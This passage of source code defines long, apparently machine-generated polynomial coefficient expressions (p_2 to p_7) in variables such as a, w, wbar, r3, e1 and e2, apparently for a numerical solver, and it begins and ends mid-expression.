** 2 * e1 - a ** 2 * e2 - a * wbar * e1 + a * wbar * e2 + a * r3bar * e1 - a * r3bar * e2 - w * wbar ** 3 + w * wbar ** 2 * r3bar - 3 * wbar ** 3 * r3 + 3 * wbar ** 2 * r3bar * r3 + 2 * wbar ** 2 + wbar * r3bar * e1 + wbar * r3bar * e2 - 2 * wbar * r3bar ) p_2 = ( 3 * a ** 4 * wbar - 3 * a ** 4 * r3bar - a ** 3 * e1 + a ** 3 * e2 - 3 * a ** 2 * w * wbar * r3 + 3 * a ** 2 * w * r3bar * r3 + a ** 2 * w - 3 * a ** 2 * wbar ** 3 + 3 * a ** 2 * wbar ** 2 * r3bar - 3 * a ** 2 * wbar * r3 ** 2 + 3 * a ** 2 * r3bar * r3 ** 2 + 4 * a ** 2 * e1 * r3 + 4 * a ** 2 * e2 * r3 - a ** 2 * r3 + 3 * a * wbar ** 2 * e1 - 3 * a * wbar ** 2 * e2 - 2 * a * wbar * r3bar * e1 + 2 * a * wbar * r3bar * e2 + 3 * a * wbar * e1 * r3 - 3 * a * wbar * e2 * r3 - 3 * a * r3bar * e1 * r3 + 3 * a * r3bar * e2 * r3 - a * e1 + a * e2 + 3 * w * wbar ** 3 * r3 - 3 * w * wbar ** 2 * r3bar * r3 - 3 * w * wbar ** 2 + 2 * w * wbar * r3bar + 3 * wbar ** 3 * r3 ** 2 - 3 * wbar ** 2 * r3bar * r3 ** 2 - 3 * wbar ** 2 * e1 * r3 - 3 * wbar ** 2 * e2 * r3 - 3 * wbar ** 2 * r3 - wbar * r3bar * e1 * r3 - wbar * r3bar * e2 * r3 + 4 * wbar * r3bar * r3 + wbar + r3bar * e1 + r3bar * e2 - r3bar ) p_3 = ( -3 * a ** 4 * w * wbar + 3 * a ** 4 * w * r3bar - 9 * a ** 4 * wbar * r3 + 9 * a ** 4 * r3bar * r3 + 2 * a ** 4 * e1 + 2 * a ** 4 * e2 + a ** 3 * w * e1 - a ** 3 * w * e2 + 3 * a ** 3 * wbar * e1 - 3 * a ** 3 * wbar * e2 - 3 * a ** 3 * r3bar * e1 + 3 * a ** 3 * r3bar * e2 + 3 * a ** 3 * e1 * r3 - 3 * a ** 3 * e2 * r3 + 3 * a ** 2 * w * wbar ** 3 - 3 * a ** 2 * w * wbar ** 2 * r3bar + 3 * a ** 2 * w * wbar * r3 ** 2 - 3 * a ** 2 * w * r3bar * r3 ** 2 - a ** 2 * w * e1 * r3 - a ** 2 * w * e2 * r3 - 2 * a ** 2 * w * r3 + 9 * a ** 2 * wbar ** 3 * r3 - 9 * a ** 2 * wbar ** 2 * r3bar * r3 + 3 * a ** 2 * wbar ** 2 * e1 + 3 * a ** 2 * wbar ** 2 * e2 - 6 * a ** 2 * wbar ** 2 - 5 * a ** 2 * wbar * r3bar * e1 - 5 * a ** 2 * wbar * r3bar * e2 + 6 * a ** 2 * wbar * r3bar + a ** 2 * wbar * r3 ** 3 - a ** 2 * r3bar * r3 ** 3 - a ** 2 * e1 ** 2 + 2 * a ** 2 * e1 * e2 - 5 * a ** 2 * e1 * r3 ** 2 - a ** 2 * e2 ** 2 - 5 * a ** 2 * e2 * r3 ** 2 + 2 * a ** 2 * r3 ** 2 - 3 * a * w * wbar ** 2 * e1 + 3 * a * w * wbar ** 2 * e2 + 2 * a * w * wbar * r3bar * e1 - 2 * a * w * wbar * r3bar * e2 - 9 * a * wbar ** 2 * e1 * r3 + 9 * a * wbar ** 2 * e2 * r3 + 6 * a * wbar * r3bar * e1 * r3 - 6 * a * wbar * r3bar * e2 * r3 - 3 * a * wbar * e1 * r3 ** 2 + 4 * a * wbar * e1 + 3 * a * wbar * e2 * r3 ** 2 - 4 * a * wbar * e2 + a * r3bar * e1 ** 2 + 3 * a * r3bar * e1 * r3 ** 2 - 2 * a * r3bar * e1 - a * r3bar * e2 ** 2 - 3 * a * r3bar * e2 * r3 ** 2 + 2 * a * r3bar * e2 + a * e1 ** 2 * r3 + 2 * a * e1 * r3 - a * e2 ** 2 * r3 - 2 * a * e2 * r3 - 3 * w * wbar ** 3 * r3 ** 2 + 3 * w * wbar ** 2 * r3bar * r3 ** 2 + 3 * w * wbar ** 2 * e1 * r3 + 3 * w * wbar ** 2 * e2 * r3 + 6 * w * wbar ** 2 * r3 - 2 * w * wbar * r3bar * e1 * r3 - 2 * w * wbar * r3bar * e2 * r3 - 4 * w * wbar * r3bar * r3 - 3 * w * wbar + w * r3bar - wbar ** 3 * r3 ** 3 + wbar ** 2 * r3bar * r3 ** 3 + 6 * wbar ** 2 * e1 * r3 ** 2 + 6 * wbar ** 2 * e2 * r3 ** 2 - wbar * r3bar * e1 * r3 ** 2 - wbar * r3bar * e2 * r3 ** 2 - 2 * wbar * r3bar * r3 ** 2 - 4 * wbar * e1 * r3 - 4 * wbar * e2 * r3 + wbar * r3 - r3bar * e1 ** 2 * r3 - 2 * r3bar * e1 * e2 * r3 - r3bar * e2 ** 2 * r3 + r3bar * r3 ) p_4 = ( -3 * a ** 6 * wbar + 3 * a ** 6 * r3bar + 2 * a ** 5 * e1 - 2 * a ** 5 * e2 + 9 * a ** 4 * w * wbar * r3 - 9 * a ** 4 * w * r3bar * r3 + a ** 4 * w * e1 + a ** 4 * w * e2 - 3 * a ** 4 * w + 3 * a ** 4 * wbar ** 3 - 3 * a ** 4 * wbar ** 2 * r3bar + 9 * a ** 4 * wbar * r3 ** 2 - 9 * a ** 4 * r3bar * r3 ** 2 - 9 * a ** 4 * e1 * r3 - 9 * a ** 4 * e2 * r3 + 3 * a ** 4 * r3 - 3 * a ** 3 * w * e1 * r3 + 3 * a ** 3 * w * e2 * r3 - 6 * a ** 3 * wbar ** 2 * e1 + 6 * a ** 3 * wbar ** 2 * e2 + 4 * a ** 3 * wbar * r3bar * e1 - 4 * a ** 3 * wbar * r3bar * e2 - 9 * a ** 3 * wbar * e1 * r3 + 9 * a ** 3 * wbar * e2 * r3 + 9 * a ** 3 * r3bar * e1 * r3 - 9 * a ** 3 * r3bar * e2 * r3 - a ** 3 * e1 ** 2 - 3 * a ** 3 * e1 * r3 ** 2 + 3 * a ** 3 * e1 + a ** 3 * e2 ** 2 + 3 * a ** 3 * e2 * r3 ** 2 - 3 * a ** 3 * e2 - 9 * a ** 2 * w * wbar ** 3 * r3 + 9 * a ** 2 * w * wbar ** 2 * r3bar * r3 - 3 * a ** 2 * w * wbar ** 2 * e1 - 3 * a ** 2 * w * wbar ** 2 * e2 + 9 * a ** 2 * w * wbar ** 2 + 2 * a ** 2 * w * wbar * r3bar * e1 + 2 * a ** 2 * w * wbar * r3bar * e2 - 6 * a ** 2 * w * wbar * r3bar - a ** 2 * w * wbar * r3 ** 3 + a ** 2 * w * r3bar * r3 ** 3 + 2 * a ** 2 * w * e1 * r3 ** 2 + 2 * a ** 2 * w * e2 * r3 ** 2 + a ** 2 * w * r3 ** 2 - 9 * a ** 2 * wbar ** 3 * r3 ** 2 + 9 * a ** 2 * wbar ** 2 * r3bar * r3 ** 2 + 9 * a ** 2 * wbar ** 2 * r3 + 9 * a ** 2 * wbar * r3bar * e1 * r3 + 9 * a ** 2 * wbar * r3bar * e2 * r3 - 12 * a ** 2 * wbar * r3bar * r3 + 3 * a ** 2 * wbar * e1 ** 2 - 6 * a ** 2 * wbar * e1 * e2 + 4 * a ** 2 * wbar * e1 + 3 * a ** 2 * wbar * e2 ** 2 + 4 * a ** 2 * wbar * e2 - 3 * a ** 2 * wbar + 4 * a ** 2 * r3bar * e1 * e2 - 5 * a ** 2 * r3bar * e1 - 5 * a ** 2 * r3bar * e2 + 3 * a ** 2 * r3bar + 3 * a ** 2 * e1 ** 2 * r3 - 6 * a ** 2 * e1 * e2 * r3 + 2 * a ** 2 * e1 * r3 ** 3 + 3 * a ** 2 * e2 ** 2 * r3 + 2 * a ** 2 * e2 * r3 ** 3 - a ** 2 * r3 ** 3 + 9 * a * w * wbar ** 2 * e1 * r3 - 9 * a * w * wbar ** 2 * e2 * r3 - 6 * a * w * wbar * r3bar * e1 * r3 + 6 * a * w * wbar * r3bar * e2 * r3 - 6 * a * w * wbar * e1 + 6 * a * w * wbar * e2 + 2 * a * w * r3bar * e1 - 2 * a * w * r3bar * e2 + 9 * a * wbar ** 2 * e1 * r3 ** 2 - 9 * a * wbar ** 2 * e2 * r3 ** 2 - 6 * a * wbar * r3bar * e1 * r3 ** 2 + 6 * a * wbar * r3bar * e2 * r3 ** 2 - 6 * a * wbar * e1 ** 2 * r3 + a * wbar * e1 * r3 ** 3 - 6 * a * wbar * e1 * r3 + 6 * a * wbar * e2 ** 2 * r3 - a * wbar * e2 * r3 ** 3 + 6 * a * wbar * e2 * r3 - a * r3bar * e1 ** 2 * r3 - a * r3bar * e1 * r3 ** 3 + 4 * a * r3bar * e1 * r3 + a * r3bar * e2 ** 2 * r3 + a * r3bar * e2 * r3 ** 3 - 4 * a * r3bar * e2 * r3 - 2 * a * e1 ** 2 * r3 ** 2 - a * e1 * r3 ** 2 + a * e1 + 2 * a * e2 ** 2 * r3 ** 2 + a * e2 * r3 ** 2 - a * e2 + w * wbar ** 3 * r3 ** 3 - w * wbar ** 2 * r3bar * r3 ** 3 - 6 * w * wbar ** 2 * e1 * r3 ** 2 - 6 * w * wbar ** 2 * e2 * r3 ** 2 - 3 * w * wbar ** 2 * r3 ** 2 + 4 * w * wbar * r3bar * e1 * r3 ** 2 + 4 * w * wbar * r3bar * e2 * r3 ** 2 + 2 * w * wbar * r3bar * r3 ** 2 + 6 * w * wbar * e1 * r3 + 6 * w * wbar * e2 * r3 + 3 * w * wbar * r3 - 2 * w * r3bar * e1 * r3 - 2 * w * r3bar * e2 * r3 - w * r3bar * r3 - w - 3 * wbar ** 2 * e1 * r3 ** 3 - 3 * wbar ** 2 * e2 * r3 ** 3 + wbar ** 2 * r3 ** 3 + wbar * r3bar * e1 * r3 ** 3 + wbar * r3bar * e2 * r3 ** 3 + 3 * wbar * e1 ** 2 * r3 ** 2 + 6 * wbar * e1 * e2 * r3 ** 2 + 2 * wbar * e1 * r3 ** 2 + 3 * wbar * e2 ** 2 * r3 ** 2 + 2 * wbar * e2 * r3 ** 2 - 2 * wbar * r3 ** 2 + r3bar * e1 ** 2 * r3 ** 2 + 2 * r3bar * e1 * e2 * r3 ** 2 - r3bar * e1 * r3 ** 2 + r3bar * e2 ** 2 * r3 ** 2 - r3bar * e2 * r3 ** 2 - e1 * r3 - e2 * r3 + r3 ) p_5 = ( 3 * a ** 6 * w * wbar - 3 * a ** 6 * w * r3bar + 9 * a ** 6 * wbar * r3 - 9 * a ** 6 * r3bar * r3 - a ** 6 * e1 - a ** 6 * e2 - 2 * a ** 5 * w * e1 + 2 * a ** 5 * w * e2 - 3 * a ** 5 * wbar * e1 + 3 * a ** 5 * wbar * e2 + 3 * a ** 5 * r3bar * e1 - 3 * a ** 5 * r3bar * e2 - 6 * a ** 5 * e1 * r3 + 6 * a ** 5 * e2 * r3 - 3 * a ** 4 * w * wbar ** 3 + 3 * a ** 4 * w * wbar ** 2 * r3bar - 9 * a ** 4 * w * wbar * r3 ** 2 + 9 * a ** 4 * w * r3bar * r3 ** 2 + 6 * a ** 4 * w * r3 - 9 * a ** 4 * wbar ** 3 * r3 + 9 * a ** 4 * wbar ** 2 * r3bar * r3 - 6 * a ** 4 * wbar ** 2 * e1 - 6 * a ** 4 * wbar ** 2 * e2 + 6 * a ** 4 * wbar ** 2 + 7 * a ** 4 * wbar * r3bar * e1 + 7 * a ** 4 * wbar * r3bar * e2 - 6 * a ** 4 * wbar * r3bar - 3 * a ** 4 * wbar * r3 ** 3 + 3 * a ** 4 * r3bar * r3 ** 3 + 2 * a ** 4 * e1 ** 2 - 4 * a ** 4 * e1 * e2 + 12 * a ** 4 * e1 * r3 ** 2 + 2 * a ** 4 * e2 ** 2 + 12 * a ** 4 * e2 * r3 ** 2 - 6 * a ** 4 * r3 ** 2 + 6 * a ** 3 * w * wbar ** 2 * e1 - 6 * a ** 3 * w * wbar ** 2 * e2 - 4 * a ** 3 * w * wbar * r3bar * e1 + 4 * a ** 3 * w * wbar * r3bar * e2 + 3 * a ** 3 * w * e1 * r3 ** 2 - 3 * a ** 3 * w * e2 * r3 ** 2 + 18 * a ** 3 * wbar ** 2 * e1 * r3 - 18 * a ** 3 * wbar ** 2 * e2 * r3 - 12 * a ** 3 * wbar * r3bar * e1 * r3 + 12 * a ** 3 * wbar * r3bar * e2 * r3 + 6 * a ** 3 * wbar * e1 ** 2 + 9 * a ** 3 * wbar * e1 * r3 ** 2 - 8 * a ** 3 * wbar * e1 - 6 * a ** 3 * wbar * e2 ** 2 - 9 * a ** 3 * wbar * e2 * r3 ** 2 + 8 * a ** 3 * wbar * e2 - 4 * a ** 3 * r3bar * e1 ** 2 - 9 * a ** 3 * r3bar * e1 * r3 ** 2 + 4 * a ** 3 * r3bar * e1 + 4 * a ** 3 * r3bar * e2 ** 2 + 9 * a ** 3 * r3bar * e2 * r3 ** 2 - 4 * a ** 3 * r3bar * e2 + a ** 3 * e1 * r3 ** 3 - 6 * a ** 3 * e1 * r3 - a ** 3 * e2 * r3 ** 3 + 6 * a ** 3 * e2 * r3 + 9 * a ** 2 * w * wbar ** 3 * r3 ** 2 - 9 * a ** 2 * w * wbar ** 2 * r3bar * r3 ** 2 - 18 * a ** 2 * w * wbar ** 2 * r3 + 12 * a ** 2 * w * wbar * r3bar * r3 - 3 * a ** 2 * w * wbar * e1 ** 2 + 6 * a ** 2 * w * wbar * e1 * e2 - 6 * a ** 2 * w * wbar * e1 - 3 * a ** 2 * w * wbar * e2 ** 2 - 6 * a ** 2 * w * wbar * e2 + 9 * a ** 2 * w * wbar + a ** 2 * w * r3bar * e1 ** 2 - 2 * a ** 2 * w * r3bar * e1 * e2 + 2 * a ** 2 * w * r3bar * e1 + a ** 2 * w * r3bar * e2 ** 2 + 2 * a ** 2 * w * r3bar * e2 - 3 * a ** 2 * w * r3bar - a ** 2 * w * e1 * r3 ** 3 - a ** 2 * w * e2 * r3 ** 3 + 3 * a ** 2 * wbar ** 3 * r3 ** 3 - 3 * a ** 2 * wbar ** 2 * r3bar * r3 ** 3 - 9 * a ** 2 * wbar ** 2 * e1 * r3 ** 2 - 9 * a ** 2 * wbar ** 2 * e2 * r3 ** 2 - 3 * a ** 2 * wbar * r3bar * e1 * r3 ** 2 - 3 * a ** 2 * wbar * r3bar * e2 * r3 ** 2 + 6 * a ** 2 * wbar * r3bar * r3 ** 2 - 15 * a ** 2 * wbar * e1 ** 2 * r3 + 6 * a ** 2 * wbar * e1 * e2 * r3 + 6 * a ** 2 * wbar * e1 * r3 - 15 * a ** 2 * wbar * e2 ** 2 * r3 + 6 * a ** 2 * wbar * e2 * r3 - 3 * a ** 2 * wbar * r3 + 5 * a ** 2 * r3bar * e1 ** 2 * r3 - 2 * a ** 2 * r3bar * e1 * e2 * r3 + 4 * a ** 2 * r3bar * e1 * r3 + 5 * a ** 2 * r3bar * e2 ** 2 * r3 + 4 * a ** 2 * r3bar * e2 * r3 - 3 * a ** 2 * r3bar * r3 - 3 * a ** 2 * e1 ** 2 * r3 ** 2 + 2 * a ** 2 * e1 ** 2 + 6 * a ** 2 * e1 * e2 * r3 ** 2 - 4 * a ** 2 * e1 * e2 + a ** 2 * e1 - 3 * a ** 2 * e2 ** 2 * r3 ** 2 + 2 * a ** 2 * e2 ** 2 + a ** 2 * e2 - 9 * a * w * wbar ** 2 * e1 * r3 ** 2 + 9 * a * w * wbar ** 2 * e2 * r3 ** 2 + 6 * a * w * wbar * r3bar * e1 * r3 ** 2 - 6 * a * w * wbar * r3bar * e2 * r3 ** 2 + 6 * a * w * wbar * e1 ** 2 * r3 + 12 * a * w * wbar * e1 * r3 - 6 * a * w * wbar * e2 ** 2 * r3 - 12 * a * w * wbar * e2 * r3 - 2 * a * w * r3bar * e1 ** 2 * r3 - 4 * a * w * r3bar * e1 * r3 + 2 * a * w * r3bar * e2 ** 2 * r3 + 4 * a * w * r3bar * e2 * r3 - 3 * a * w * e1 + 3 * a * w * e2 - 3 * a * wbar ** 2 * e1 * r3 ** 3 + 3 * a * wbar ** 2 * e2 * r3 ** 3 + 2 * a * wbar * r3bar * e1 * r3 ** 3 - 2 * a * wbar * r3bar * e2 * r3 ** 3 + 12 * a * wbar * e1 ** 2 * r3 ** 2 - 12 * a * wbar * e2 ** 2 * r3 ** 2 - a * r3bar * e1 ** 2 * r3 ** 2 - 2 * a * r3bar * e1 * r3 ** 2 + a * r3bar * e2 ** 2 * r3 ** 2 + 2 * a * r3bar * e2 * r3 ** 2 + a * e1 ** 2 * r3 ** 3 - 4 * a * e1 ** 2 * r3 + a * e1 * r3 - a * e2 ** 2 * r3 ** 3 + 4 * a * e2 ** 2 * r3 - a * e2 * r3 + 3 * w * wbar ** 2 * e1 * r3 ** 3 + 3 * w * wbar ** 2 * e2 * r3 ** 3 - 2 * w * wbar * r3bar * e1 * r3 ** 3 - 2 * w * wbar * r3bar * e2 * r3 ** 3 - 3 * w * wbar * e1 ** 2 * r3 ** 2 - 6 * w * wbar * e1 * e2 * r3 ** 2 - 6 * w * wbar * e1 * r3 ** 2 - 3 * w * wbar * e2 ** 2 * r3 ** 2 - 6 * w * wbar * e2 * r3 ** 2 + w * r3bar * e1 ** 2 * r3 ** 2 + 2 * w * r3bar * e1 * e2 * r3 ** 2 + 2 * w * r3bar * e1 * r3 ** 2 + w * r3bar * e2 ** 2 * r3 ** 2 + 2 * w * r3bar * e2 * r3 ** 2 + 3 * w * e1 * r3 + 3 * w * e2 * r3 - 3 * wbar * e1 ** 2 * r3 ** 3 - 6 * wbar * e1 * e2 * r3 ** 3 + 2 * wbar * e1 * r3 ** 3 - 3 * wbar * e2 ** 2 * r3 ** 3 + 2 * wbar * e2 * r3 ** 3 + 2 * e1 ** 2 * r3 ** 2 + 4 * e1 * e2 * r3 ** 2 - 2 * e1 * r3 ** 2 + 2 * e2 ** 2 * r3 ** 2 - 2 * e2 * r3 ** 2 ) p_6 = ( a ** 8 * wbar - a ** 8 * r3bar - a ** 7 * e1 + a ** 7 * e2 - 9 * a ** 6 * w * wbar * r3 + 9 * a ** 6 * w * r3bar * r3 - 2 * a ** 6 * w * e1 - 2 * a ** 6 * w * e2 + 3 * a ** 6 * w - a ** 6 * wbar ** 3 + a ** 6 * wbar ** 2 * r3bar - 9 * a ** 6 * wbar * r3 ** 2 + 9 * a ** 6 * r3bar * r3 ** 2 + 6 * a ** 6 * e1 * r3 + 6 * a ** 6 * e2 * r3 - 3 * a ** 6 * r3 + 6 * a ** 5 * w * e1 * r3 - 6 * a ** 5 * w * e2 * r3 + 3 * a ** 5 * wbar ** 2 * e1 - 3 * a ** 5 * wbar ** 2 * e2 - 2 * a ** 5 * wbar * r3bar * e1 + 2 * a ** 5 * wbar * r3bar * e2 + 9 * a ** 5 * wbar * e1 * r3 - 9 * a ** 5 * wbar * e2 * r3 - 9 * a ** 5 * r3bar * e1 * r3 + 9 * a ** 5 * r3bar * e2 * r3 + 2 * a ** 5 * e1 ** 2 + 6 * a ** 5 * e1 * r3 ** 2 - 3 * a ** 5 * e1 - 2 * a ** 5 * e2 ** 2 - 6 * a ** 5 * e2 * r3 ** 2 + 3 * a ** 5 * e2 + 9 * a ** 4 * w * wbar ** 3 * r3 - 9 * a ** 4 * w * wbar ** 2 * r3bar * r3 + 6 * a ** 4 * w * wbar ** 2 * e1 + 6 * a ** 4 * w * wbar ** 2 * e2 - 9 * a ** 4 * w * wbar ** 2 - 4 * a ** 4 * w * wbar * r3bar * e1 - 4 * a ** 4 * w * wbar * r3bar * e2 + 6 * a ** 4 * w * wbar * r3bar + 3 * a ** 4 * w * wbar * r3 ** 3 - 3 * a ** 4 * w * r3bar * r3 ** 3 - 3 * a ** 4 * w * e1 * r3 ** 2 - 3 * a ** 4 * w * e2 * r3 ** 2 - 3 * a ** 4 * w * r3 ** 2 + 9 * a ** 4 * wbar ** 3 * r3 ** 2 - 9 * a ** 4 * wbar ** 2 * r3bar * r3 ** 2 + 9 * a ** 4 * wbar ** 2 * e1 * r3 + 9 * a ** 4 * wbar ** 2 * e2 * r3 - 9 * a ** 4 * wbar ** 2 * r3 - 15 * a ** 4 * wbar * r3bar * e1 * r3 - 15 * a ** 4 * wbar * r3bar * e2 * r3 + 12 * a ** 4 * wbar * r3bar * r3 + 12 * a ** 4 * wbar * e1 * e2 - 8 * a ** 4 * wbar * e1 - 8 * a ** 4 * wbar * e2 + 3 * a ** 4 * wbar - 2 * a ** 4 * r3bar * e1 ** 2 - 8 * a ** 4 * r3bar * e1 * e2 + 7 * a ** 4 * r3bar * e1 - 2 * a ** 4 * r3bar * e2 ** 2 + 7 * a ** 4 * r3bar * e2 - 3 * a ** 4 * r3bar - 6 * a ** 4 * e1 ** 2 * r3 + 12 * a ** 4 * e1 * e2 * r3 - 5 * a ** 4 * e1 * r3 ** 3 - 6 * a ** 4 * e2 ** 2 * r3 - 5 * a ** 4 * e2 * r3 ** 3 + 3 * a ** 4 * r3 ** 3 - 18 * a ** 3 * w * wbar ** 2 * e1 * r3 + 18 * a ** 3 * w * wbar ** 2 * e2 * r3 + 12 * a ** 3 * w * wbar * r3bar * e1 * r3 - 12 * a ** 3 * w * wbar * r3bar * e2 * r3 - 6 * a ** 3 * w * wbar * e1 ** 2 + 12 * a ** 3 * w * wbar * e1 + 6 * a ** 3 * w * wbar * e2 ** 2 - 12 * a ** 3 * w * wbar * e2 + 2 * a ** 3 * w * r3bar * e1 ** 2 - 4 * a ** 3 * w * r3bar * e1 - 2 * a ** 3 * w * r3bar * e2 ** 2 + 4 * a ** 3 * w * r3bar * e2 - a ** 3 * w * e1 * r3 ** 3 + a ** 3 * w * e2 * r3 ** 3 - 18 * a ** 3 * wbar ** 2 * e1 * r3 ** 2 + 18 * a ** 3 * wbar ** 2 * e2 * r3 ** 2 + 12 * a ** 3 * wbar * r3bar * e1 * r3 ** 2 - 12 * a ** 3 * wbar * r3bar * e2 * r3 ** 2 - 6 * a ** 3 * wbar * e1 ** 2 * r3 - 3 * a ** 3 * wbar * e1 * r3 ** 3 + 12 * a ** 3 * wbar * e1 * r3 + 6 * a ** 3 * wbar * e2 ** 2 * r3 + 3 * a ** 3 * wbar * e2 * r3 ** 3 - 12 * a ** 3 * wbar * e2 * r3 + 8 * a ** 3 * r3bar * e1 ** 2 * r3 + 3 * a ** 3 * r3bar * e1 * r3 ** 3 - 8 * a ** 3 * r3bar * e1 * r3 - 8 * a ** 3 * r3bar * e2 ** 2 * r3 - 3 * a ** 3 * r3bar * e2 * r3 ** 3 + 8 * a ** 3 * r3bar * e2 * r3 + a ** 3 * e1 ** 3 - 3 * a ** 3 * e1 ** 2 * e2 + 3 * a ** 3 * e1 ** 2 * r3 ** 2 + 4 * a ** 3 * e1 ** 2 + 3 * a ** 3 * e1 * e2 ** 2 + 3 * a ** 3 * e1 * r3 ** 2 - 2 * a ** 3 * e1 - a ** 3 * e2 ** 3 - 3 * a ** 3 * e2 ** 2 * r3 ** 2 - 4 * a ** 3 * e2 ** 2 - 3 * a ** 3 * e2 * r3 ** 2 + 2 * a ** 3 * e2 - 3 * a ** 2 * w * wbar ** 3 * r3 ** 3 + 3 * a ** 2 * w * wbar ** 2 * r3bar * r3 ** 3 + 9 * a ** 2 * w * wbar ** 2 * e1 * r3 ** 2 + 9 * a ** 2 * w * wbar ** 2 * e2 * r3 ** 2 + 9 * a ** 2 * w * wbar ** 2 * r3 ** 2 - 6 * a ** 2 * w * wbar * r3bar * e1 * r3 ** 2 - 6 * a ** 2 * w * wbar * r3bar * e2 * r3 ** 2 - 6 * a ** 2 * w * wbar * r3bar * r3 ** 2 + 15 * a ** 2 * w * wbar * e1 ** 2 * r3 - 6 * a ** 2 * w * wbar * e1 * e2 * r3 - 6 * a ** 2 * w * wbar * e1 * r3 + 15 * a ** 2 * w * wbar * e2 ** 2 * r3 - 6 * a ** 2 * w * wbar * e2 * r3 - 9 * a ** 2 * w * wbar * r3 - 5 * a ** 2 * w * r3bar * e1 ** 2 * r3 + 2 * a ** 2 * w * r3bar * e1 * e2 * r3 + 2 * a ** 2 * w * r3bar * e1 * r3 - 5 * a ** 2 * w * r3bar * e2 ** 2 * r3 + 2 * a ** 2 * w * r3bar * e2 * r3 + 3 * a ** 2 * w * r3bar * r3 - 3 * a ** 2 * w * e1 ** 2 + 6 * a ** 2 * w * e1 * e2 - 3 * a ** 2 * w * e1 - 3 * a ** 2 * w * e2 ** 2 - 3 * a ** 2 * w * e2 + 3 * a ** 2 * w + 6 * a ** 2 * wbar ** 2 * e1 * r3 ** 3 + 6 * a ** 2 * wbar ** 2 * e2 * r3 ** 3 - 3 * a ** 2 * wbar ** 2 * r3 ** 3 - a ** 2 * wbar * r3bar * e1 * r3 ** 3 - a ** 2 * wbar * r3bar * e2 * r3 ** 3 + 12 * a ** 2 * wbar * e1 ** 2 * r3 ** 2 - 12 * a ** 2 * wbar * e1 * e2 * r3 ** 2 - 6 * a ** 2 * wbar * e1 * r3 ** 2 + 12 * a ** 2 * wbar * e2 ** 2 * r3 ** 2 - 6 * a ** 2 * wbar * e2 * r3 ** 2 + 6 * a ** 2 * wbar * r3 ** 2 - 7 * a ** 2 * r3bar * e1 ** 2 * r3 ** 2 - 2 * a ** 2 * r3bar * e1 * e2 * r3 ** 2 + a ** 2 * r3bar * e1 * r3 ** 2 - 7 * a ** 2 * r3bar * e2 ** 2 * r3 ** 2 + a ** 2 * r3bar * e2 * r3 ** 2 - 3 * a ** 2 * e1 ** 3 * r3 + 3 * a ** 2 * e1 ** 2 * e2 * r3 + a ** 2 * e1 ** 2 * r3 ** 3 - 7 * a ** 2 * e1 ** 2 * r3 + 3 * a ** 2 * e1 * e2 ** 2 * r3 - 2 * a ** 2 * e1 * e2 * r3 ** 3 - 2 * a ** 2 * e1 * e2 * r3 + 4 * a ** 2 * e1 * r3 - 3 * a ** 2 * e2 ** 3 * r3 + a ** 2 * e2 ** 2 * r3 ** 3 - 7 * a ** 2 * e2 ** 2 * r3 + 4 * a ** 2 * e2 * r3 - 3 * a ** 2 * r3 + 3 * a * w * wbar ** 2 * e1 * r3 ** 3 - 3 * a * w * wbar ** 2 * e2 * r3 ** 3 - 2 * a * w * wbar * r3bar * e1 * r3 ** 3 + 2 * a * w * wbar * r3bar * e2 * r3 ** 3 - 12 * a * w * wbar * e1 ** 2 * r3 ** 2 - 6 * a * w * wbar * e1 * r3 ** 2 + 12 * a * w * wbar * e2 ** 2 * r3 ** 2 + 6 * a * w * wbar * e2 * r3 ** 2 + 4 * a * w * r3bar * e1 ** 2 * r3 ** 2 + 2 * a * w * r3bar * e1 * r3 ** 2 - 4 * a * w * r3bar * e2 ** 2 * r3 ** 2 - 2 * a * w * r3bar * e2 * r3 ** 2 + 6 * a * w * e1 ** 2 * r3 + 3 * a * w * e1 * r3 - 6 * a * w * e2 ** 2 * r3 - 3 * a * w * e2 * r3 - 6 * a * wbar * e1 ** 2 * r3 ** 3 + 2 * a * wbar * e1 * r3 ** 3 + 6 * a * wbar * e2 ** 2 * r3 ** 3 - 2 * a * wbar * e2 * r3 ** 3 + a * r3bar * e1 ** 2 * r3 ** 3 - a * r3bar * e2 ** 2 * r3 ** 3 + 3 * a * e1 ** 3 * r3 ** 2 + 3 * a * e1 ** 2 * e2 * r3 ** 2 + 2 * a * e1 ** 2 * r3 ** 2 - 3 * a * e1 * e2 ** 2 * r3 ** 2 - 2 * a * e1 * r3 ** 2 - 3 * a * e2 ** 3 * r3 ** 2 - 2 * a * e2 ** 2 * r3 ** 2 + 2 * a * e2 * r3 ** 2 + 3 * w * wbar * e1 ** 2 * r3 ** 3 + 6 * w * wbar * e1 * e2 * r3 ** 3 + 3 * w * wbar * e2 ** 2 * r3 ** 3 - w * r3bar * e1 ** 2 * r3 ** 3 - 2 * w * r3bar * e1 * e2 * r3 ** 3 - w * r3bar * e2 ** 2 * r3 ** 3 - 3 * w * e1 ** 2 * r3 ** 2 - 6 * w * e1 * e2 * r3 ** 2 - 3 * w * e2 ** 2 * r3 ** 2 - e1 ** 3 * r3 ** 3 - 3 * e1 ** 2 * e2 * r3 ** 3 + e1 ** 2 * r3 ** 3 - 3 * e1 * e2 ** 2 * r3 ** 3 + 2 * e1 * e2 * r3 ** 3 - e2 ** 3 * r3 ** 3 + e2 ** 2 * r3 ** 3 ) p_7 = ( -(a ** 8) * w * wbar + a ** 8 * w * r3bar - 3 * a ** 8 * wbar * r3 + 3 * a ** 8 * r3bar * r3 + a ** 7 * w * e1 - a ** 7 * w * e2 + a ** 7 * wbar * e1 - a ** 7 * wbar * e2 - a ** 7 * r3bar * e1 + a ** 7 * r3bar * e2 + 3 * a ** 7 * e1 * r3 - 3 * a ** 7 * e2 * r3 + a ** 6 * w * wbar ** 3 - a ** 6 * w * wbar ** 2 * r3bar + 9 * a ** 6 * w * wbar * r3 ** 2 - 9 * a ** 6 * w * r3bar * r3 ** 2 + 3 * a ** 6 * w * e1 * r3 + 3 * a ** 6 * w * e2 * r3 - 6 * a ** 6 * w * r3 + 3 * a ** 6 * wbar ** 3 * r3 - 3 * a ** 6 * wbar ** 2 * r3bar * r3 + 3 * a ** 6 * wbar ** 2 * e1 + 3 * a ** 6 * wbar ** 2 * e2 - 2 * a ** 6 * wbar ** 2 - 3 * a ** 6 * wbar * r3bar * e1 - 3 * a ** 6 * wbar * r3bar * e2 + 2 * a ** 6 * wbar * r3bar + 3 * a ** 6 * wbar * r3 ** 3 - 3 * a ** 6 * r3bar * r3 ** 3 - a ** 6 * e1 ** 2 + 2 * a ** 6 * e1 * e2 - 9 * a ** 6 * e1 * r3 ** 2 - a ** 6 * e2 ** 2 - 9 * a ** 6 * e2 * r3 ** 2 + 6 * a ** 6 * r3 ** 2 - 